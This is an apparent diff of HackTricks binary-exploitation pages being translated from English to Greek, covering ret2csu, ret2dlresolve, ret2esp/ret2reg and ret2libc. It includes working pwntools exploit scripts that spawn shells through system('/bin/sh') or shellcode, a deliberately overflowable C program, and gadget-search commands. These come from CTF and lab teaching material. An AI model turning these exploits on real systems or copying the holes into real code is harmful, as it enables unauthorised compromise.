p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
|
||||
print(p.recvline()) # should receive "Awesome work!"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
|
||||
> Σημειώστε ότι η προηγούμενη εκμετάλλευση δεν προορίζεται για να κάνει **`RCE`**, προορίζεται απλώς να καλέσει μια συνάρτηση που ονομάζεται **`win`** (λαμβάνοντας τη διεύθυνση του `win` από το stdin καλώντας gets στην αλυσίδα ROP και αποθηκεύοντάς την στο r15) με ένα τρίτο επιχείρημα με την τιμή `0xdeadbeefcafed00d`.
|
||||
|
||||
### Bypassing the call and reaching ret
|
||||
|
||||
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
|
||||
### Παράκαμψη της κλήσης και προσέγγιση του ret
|
||||
|
||||
Η παρακάτω εκμετάλλευση εξήχθη [**από αυτή τη σελίδα**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) όπου χρησιμοποιείται το **ret2csu** αλλά αντί να χρησιμοποιεί την κλήση, **παράκαμπτε τις συγκρίσεις και προσεγγίζει το `ret`** μετά την κλήση:
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
|
||||
@ -176,9 +165,8 @@ payload += ret2win
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
```
|
||||
### Γιατί να μην χρησιμοποιήσετε απευθείας το libc;
|
||||
|
||||
### Why Not Just Use libc Directly?
|
||||
|
||||
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
|
||||
Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες σε [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από όσες ελέγχονται εύκολα με τα gadgets που βρίσκετε απευθείας στο libc. Για παράδειγμα, η συνάρτηση `write()` απαιτεί τρεις παραμέτρους, και **η εύρεση gadgets για να ρυθμίσετε όλες αυτές απευθείας μπορεί να μην είναι δυνατή**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,36 +4,35 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
|
||||
Όπως εξηγείται στη σελίδα σχετικά με [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) και [**Relro**](../common-binary-protections-and-bypasses/relro.md), τα δυαδικά αρχεία χωρίς Full Relro θα επιλύσουν σύμβολα (όπως διευθύνσεις σε εξωτερικές βιβλιοθήκες) την πρώτη φορά που χρησιμοποιούνται. Αυτή η επίλυση συμβαίνει καλώντας τη συνάρτηση **`_dl_runtime_resolve`**.
|
||||
|
||||
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
|
||||
Η συνάρτηση **`_dl_runtime_resolve`** παίρνει από τη στοίβα αναφορές σε κάποιες δομές που χρειάζεται για να **επιλύσει** το καθορισμένο σύμβολο.
|
||||
|
||||
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
|
||||
Επομένως, είναι δυνατό να **ψευδοποιηθούν όλες αυτές οι δομές** ώστε η δυναμική σύνδεση να επιλύσει το ζητούμενο σύμβολο (όπως η συνάρτηση **`system`**) και να την καλέσει με μια ρυθμισμένη παράμετρο (π.χ. **`system('/bin/sh')`**).
|
||||
|
||||
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
|
||||
Συνήθως, όλες αυτές οι δομές ψευδοποιούνται κάνοντας μια **αρχική αλυσίδα ROP που καλεί `read`** σε μια εγγράψιμη μνήμη, στη συνέχεια οι **δομές** και η συμβολοσειρά **`'/bin/sh'`** περνιούνται ώστε να αποθηκευτούν από την `read` σε μια γνωστή τοποθεσία, και στη συνέχεια η αλυσίδα ROP συνεχίζεται καλώντας **`_dl_runtime_resolve`**, κάνοντάς την να **επιλύσει τη διεύθυνση του `system`** στις ψευδοποιημένες δομές και **καλώντας αυτή τη διεύθυνση** με τη διεύθυνση του `$'/bin/sh'`.
|
||||
|
||||
> [!TIP]
|
||||
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
|
||||
> Αυτή η τεχνική είναι χρήσιμη ειδικά αν δεν υπάρχουν syscall gadgets (για να χρησιμοποιηθούν τεχνικές όπως [**ret2syscall**](rop-syscall-execv/) ή [SROP](srop-sigreturn-oriented-programming/)) και δεν υπάρχουν τρόποι να διαρρεύσουν διευθύνσεις libc.
|
||||
|
||||
Chek this video for a nice explanation about this technique in the second half of the video:
|
||||
Δείτε αυτό το βίντεο για μια ωραία εξήγηση σχετικά με αυτή την τεχνική στο δεύτερο μισό του βίντεο:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
Or check these pages for a step-by-step explanation:
|
||||
Ή δείτε αυτές τις σελίδες για μια βήμα-βήμα εξήγηση:
|
||||
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
||||
|
||||
## Attack Summary
|
||||
|
||||
1. Write fake estructures in some place
|
||||
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
|
||||
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
|
||||
4. **Call** `_dl_runtime_resolve`
|
||||
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
|
||||
|
||||
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
|
||||
1. Γράψτε ψευδείς δομές σε κάποια τοποθεσία
|
||||
2. Ρυθμίστε το πρώτο επιχείρημα του system (`$rdi = &'/bin/sh'`)
|
||||
3. Ρυθμίστε στη στοίβα τις διευθύνσεις στις δομές για να καλέσετε **`_dl_runtime_resolve`**
|
||||
4. **Καλέστε** `_dl_runtime_resolve`
|
||||
5. **`system`** θα επιλυθεί και θα κληθεί με `'/bin/sh'` ως επιχείρημα
|
||||
|
||||
Από την [**τεκμηρίωση pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), έτσι φαίνεται μια επίθεση **`ret2dlresolve`**:
|
||||
```python
|
||||
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
>>> rop = ROP(elf)
|
||||
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
|
||||
0x0040: 0x4003e0 [plt_init] system
|
||||
0x0048: 0x15670 [dlresolve index]
|
||||
```
|
||||
## Παράδειγμα
|
||||
|
||||
## Example
|
||||
|
||||
### Pure Pwntools
|
||||
|
||||
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
|
||||
### Καθαρά Pwntools
|
||||
|
||||
Μπορείτε να βρείτε ένα [**παράδειγμα αυτής της τεχνικής εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **που περιέχει μια πολύ καλή εξήγηση της τελικής αλυσίδας ROP**, αλλά εδώ είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
### Raw
|
||||
|
||||
### Ακατέργαστο
|
||||
```python
|
||||
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
|
||||
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
|
||||
@ -186,12 +181,11 @@ target.send(paylaod2)
|
||||
# Enjoy the shell!
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## Άλλα Παραδείγματα & Αναφορές
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
|
||||
- 32bit, χωρίς relro, χωρίς canary, nx, χωρίς pie, βασικό μικρό buffer overflow και επιστροφή. Για να το εκμεταλλευτεί, το bof χρησιμοποιείται για να καλέσει ξανά το `read` με μια ενότητα `.bss` και μεγαλύτερο μέγεθος, για να αποθηκεύσει εκεί τους ψεύτικους πίνακες `dlresolve` για να φορτώσει το `system`, να επιστρέψει στο main και να επαναχρησιμοποιήσει το αρχικό bof για να καλέσει το dlresolve και στη συνέχεια `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,24 @@
|
||||
|
||||
## **Ret2esp**
|
||||
|
||||
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
|
||||
**Επειδή ο ESP (Δείκτης Στοίβας) δείχνει πάντα στην κορυφή της στοίβας**, αυτή η τεχνική περιλαμβάνει την αντικατάσταση του EIP (Δείκτης Εντολών) με τη διεύθυνση μιας **`jmp esp`** ή **`call esp`** εντολής. Κάνοντας αυτό, ο κώδικας shell τοποθετείται ακριβώς μετά την αντικατεστημένη EIP. Όταν εκτελείται η εντολή `ret`, ο ESP δείχνει στην επόμενη διεύθυνση, ακριβώς εκεί που είναι αποθηκευμένος ο κώδικας shell.
|
||||
|
||||
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
Αν **Η Τυχαία Διάταξη Χώρου Διευθύνσεων (ASLR)** δεν είναι ενεργοποιημένη σε Windows ή Linux, είναι δυνατόν να χρησιμοποιηθούν οι εντολές `jmp esp` ή `call esp` που βρίσκονται σε κοινές βιβλιοθήκες. Ωστόσο, με [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ενεργό, μπορεί να χρειαστεί να αναζητήσετε αυτές τις εντολές μέσα στο ευάλωτο πρόγραμμα (και μπορεί να χρειαστεί να νικήσετε [**PIE**](../common-binary-protections-and-bypasses/pie/)).
|
||||
|
||||
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
|
||||
Επιπλέον, η δυνατότητα τοποθέτησης του κώδικα shell **μετά την καταστροφή του EIP**, αντί να είναι στη μέση της στοίβας, διασφαλίζει ότι οποιεσδήποτε εντολές `push` ή `pop` που εκτελούνται κατά τη διάρκεια της λειτουργίας της συνάρτησης δεν θα παρεμβαίνουν στον κώδικα shell. Αυτή η παρέμβαση θα μπορούσε να συμβεί αν ο κώδικας shell τοποθετούνταν στη μέση της στοίβας της συνάρτησης.
|
||||
|
||||
### Lacking space
|
||||
|
||||
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
|
||||
### Έλλειψη χώρου
|
||||
|
||||
Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell **`jmp`** όπως:
|
||||
```armasm
|
||||
sub rsp, 0x30
|
||||
jmp rsp
|
||||
```
|
||||
Και γράψτε το shellcode νωρίς στη στοίβα.
|
||||
|
||||
And write the shellcode early in the stack.
|
||||
|
||||
### Example
|
||||
|
||||
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
|
||||
### Παράδειγμα
|
||||
|
||||
Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) με μια τελική εκμετάλλευση όπως:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
|
||||
payload = b'A' * 120
|
||||
payload += p64(jmp_rsp)
|
||||
payload += asm('''
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
sub rsp, 10;
|
||||
jmp rsp;
|
||||
''')
|
||||
|
||||
pause()
|
||||
p.sendlineafter('RSP!\n', payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
|
||||
|
||||
Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Υπάρχει μια υπερχείλιση buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να **μειώσει τη διεύθυνση του `$esp`** και στη συνέχεια ένα `jmp esp;` για να μεταπηδήσει στον shellcode:
|
||||
```python
|
||||
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
|
||||
from pwn import *
|
||||
@ -81,47 +76,41 @@ target.sendline(payload)
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Ret2reg
|
||||
|
||||
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
|
||||
Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές **`call eax`** ή **`jmp eax`** (γνωστές ως τεχνική **ret2eax**), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, **οποιοδήποτε άλλο καταχωρητή** που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (**ret2reg**).
|
||||
|
||||
### Example
|
||||
### Παράδειγμα
|
||||
|
||||
You can find some examples here: 
|
||||
Μπορείτε να βρείτε μερικά παραδείγματα εδώ: 
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
|
||||
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
|
||||
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
|
||||
- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατό να χρησιμοποιηθεί ένα `ret2eax`.
|
||||
|
||||
## ARM64
|
||||
|
||||
### Ret2sp
|
||||
|
||||
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
|
||||
|
||||
Στο ARM64 δεν **υπάρχουν** εντολές που να επιτρέπουν να **πηδήξουμε στο καταχωρητή SP**. Είναι πιθανό να βρούμε ένα gadget που **μεταφέρει το sp σε έναν καταχωρητή και στη συνέχεια πηδά σε αυτόν τον καταχωρητή**, αλλά στη libc της kali μου δεν μπόρεσα να βρω κανένα gadget όπως αυτό:
|
||||
```bash
|
||||
for i in `seq 1 30`; do
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
|
||||
done
|
||||
```
|
||||
|
||||
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
|
||||
Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου το sp αντιγράφηκε πριν πηδήξει σε αυτό (έτσι θα γινόταν άχρηστο):
|
||||
|
||||
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ret2reg
|
||||
|
||||
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
|
||||
|
||||
Αν ένα μητρώο έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να πηδήξεις σε αυτό απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσες να χρησιμοποιήσεις κάτι σαν:
|
||||
```bash
|
||||
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
|
||||
```
|
||||
|
||||
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
|
||||
Στην ARM64, είναι **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση.
|
||||
|
||||
Example code:
|
||||
|
||||
```c
|
||||
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
|
||||
|
||||
@ -129,34 +118,32 @@ Example code:
|
||||
#include <string.h>
|
||||
|
||||
void do_stuff(int do_arg){
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
if (do_arg == 1)
|
||||
__asm__("br x0");
|
||||
return;
|
||||
}
|
||||
|
||||
char* vulnerable_function() {
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
char buffer[64];
|
||||
fgets(buffer, sizeof(buffer)*3, stdin);
|
||||
return buffer;
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
char* b = vulnerable_function();
|
||||
do_stuff(2)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
|
||||
Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση του buffer** (ευάλωτη σε bof και **ελεγχόμενη από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
|
||||
|
||||
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
|
||||
Είναι επίσης δυνατόν να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
|
||||
|
||||
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
|
||||
|
||||
Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό, επειδή το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
|
||||
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
|
||||
> Αντί για `fgets` χρησιμοποιήθηκε κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\
|
||||
> Με το `fgets` δεν λειτουργεί γιατί **προσθέτει ένα null (0x00) byte στο τέλος**.
|
||||
|
||||
## Protections
|
||||
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
|
||||
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε.
|
||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,94 +2,82 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Basic Information**
|
||||
## **Βασικές Πληροφορίες**
|
||||
|
||||
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
|
||||
Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε μια κοινή βιβλιοθήκη (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης.
|
||||
|
||||
### **Example Steps (simplified)**
|
||||
### **Παράδειγμα Βημάτων (απλοποιημένο)**
|
||||
|
||||
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
|
||||
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
|
||||
- Πάρτε τη διεύθυνση της συνάρτησης που θα καλέσετε (π.χ. system) και την εντολή που θα καλέσετε (π.χ. /bin/sh)
|
||||
- Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο επιχείρημα που δείχνει στη συμβολοσειρά εντολής και τη ροή εκτέλεσης στη συνάρτηση
|
||||
|
||||
## Finding the addresses
|
||||
|
||||
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
|
||||
## Εύρεση των διευθύνσεων
|
||||
|
||||
- Υποθέτοντας ότι η `libc` που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με:
|
||||
```bash
|
||||
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
||||
```
|
||||
|
||||
If you want to check if the ASLR is changing the address of libc you can do:
|
||||
|
||||
Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της libc μπορείτε να κάνετε:
|
||||
```bash
|
||||
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
|
||||
```
|
||||
|
||||
- Knowing the libc used it's also possible to find the offset to the `system` function with:
|
||||
|
||||
- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση στη συνάρτηση `system` με:
|
||||
```bash
|
||||
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
||||
```
|
||||
|
||||
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
|
||||
|
||||
- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση προς τη συνάρτηση της συμβολοσειράς `/bin/sh` με:
|
||||
```bash
|
||||
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
||||
```
|
||||
### Χρησιμοποιώντας gdb-peda / GEF
|
||||
|
||||
### Using gdb-peda / GEF
|
||||
|
||||
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
|
||||
|
||||
Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιήσετε το Peda ή το GEF για να αποκτήσετε τη διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και της συμβολοσειράς **`/bin/sh`** :
|
||||
```bash
|
||||
p system
|
||||
p exit
|
||||
find "/bin/sh"
|
||||
```
|
||||
### Χρησιμοποιώντας /proc/\<PID>/maps
|
||||
|
||||
### Using /proc/\<PID>/maps
|
||||
Αν η διαδικασία δημιουργεί **παιδιά** κάθε φορά που μιλάτε μαζί της (διακομιστής δικτύου) προσπαθήστε να **διαβάσετε** αυτό το αρχείο (πιθανώς θα χρειαστεί να είστε root).
|
||||
|
||||
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
|
||||
|
||||
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
|
||||
Εδώ μπορείτε να βρείτε **ακριβώς πού είναι φορτωμένο το libc** μέσα στη διαδικασία και **πού θα φορτωθεί** για κάθε παιδί της διαδικασίας.
|
||||
|
||||
.png>)
|
||||
|
||||
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
|
||||
Σε αυτή την περίπτωση είναι φορτωμένο στο **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση του libc)
|
||||
|
||||
## Unknown libc
|
||||
## Άγνωστο libc
|
||||
|
||||
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
|
||||
